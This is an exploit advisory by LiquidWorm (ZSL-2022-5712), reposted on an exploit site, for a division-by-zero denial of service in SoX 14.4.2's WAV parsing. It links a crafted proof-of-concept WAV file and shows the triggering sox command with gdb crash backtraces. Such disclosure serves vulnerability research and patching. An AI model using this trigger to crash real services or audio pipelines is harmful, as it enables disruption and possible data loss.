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SoX 14.4.2 - Denial Of Service Vulnerability
[# Exploit Title: SoX 14.4.2 - Denial Of Service
# Exploit Author: LiquidWorm
Vendor: Chris Bagwell
Product web page: http://sox.sourceforge.net
https://en.wikipedia.org/wiki/SoX
Affected version: <=14.4.2
Summary: SoX (Sound eXchange) is the Swiss Army knife of sound processing
tools: it can convert sound files between many different file formats and
audio devices, and can apply many sound effects and transformations, as well
as doing basic analysis and providing input to more capable analysis and
plotting tools.
Desc: SoX suffers from a division by zero attack when handling WAV files,
resulting in denial of service vulnerability and possibly loss of data.
Tested on: Ubuntu 18.04.6 LTS
Microsoft Windows 10 Home
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2022-5712
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5712.php
CWE ID: 369
CWE URL: https://cwe.mitre.org/data/definitions/369.html
05.09.2022
--
PoC:
https://zeroscience.mk/codes/sox_div0.wav.zip
---
$ ./sox div0.wav test.wav reverse
Floating point exception (core dumped)
...
Program received signal SIGFPE, Arithmetic exception.
0x00005555556a560d in startread (ft=ft@entry=0x5555559a54a0) at wav.c:950
(gdb) bt
#0 0x00005555556a560d in startread (ft=ft@entry=0x5555559a54a0) at wav.c:950
#1 0x000055555558dcc2 in open_read (path=<optimized out>, buffer=<optimized out>, buffer_size=<optimized out>, signal=0x5555559a5140, encoding=<optimized out>, filetype=0x555555777621 "wav")
at formats.c:545
#2 0x0000555555561480 in main (argc=3, argv=0x7fffffffde18) at sox.c:2945
...
Program received signal SIGFPE, Arithmetic exception.
0x00005555556a3a32 in wavwritehdr (second_header=0, ft=0x5555559a6a90) at wav.c:1457
1457 blocksWritten = MS_UNSPEC/wBlockAlign;
(gdb) bt
#0 0x00005555556a3a32 in wavwritehdr (second_header=0, ft=0x5555559a6a90) at wav.c:1457
#1 startwrite (ft=0x5555559a6a90) at wav.c:1252
#2 0x0000555555591669 in open_write (path=<optimized out>, buffer=buffer@entry=0x0, buffer_size=buffer_size@entry=0, buffer_ptr=buffer_ptr@entry=0x0, buffer_size_ptr=buffer_size_ptr@entry=0x0,
signal=<optimized out>, encoding=<optimized out>, filetype=<optimized out>, oob=<optimized out>, overwrite_permitted=<optimized out>) at formats.c:912
#3 0x0000555555593913 in sox_open_write (path=<optimized out>, signal=<optimized out>, encoding=<optimized out>, filetype=<optimized out>, oob=<optimized out>, overwrite_permitted=<optimized out>)
at formats.c:948
#4 0x000055555556b620 in open_output_file () at sox.c:1557
#5 process () at sox.c:1754
#6 main (argc=<optimized out>, argv=<optimized out>) at sox.c:3008
(gdb) bt full
#0 0x00005555556a3a32 in wavwritehdr (second_header=0, ft=0x5555559a6a90) at wav.c:1457
wFormatTag = 1
dwAvgBytesPerSec = 0
dwFactSize = 4
bytespersample = <optimized out>
blocksWritten = <error reading variable blocksWritten (Division by zero)>
dwSamplesWritten = 0
...
# 0day.today [2024-11-15] #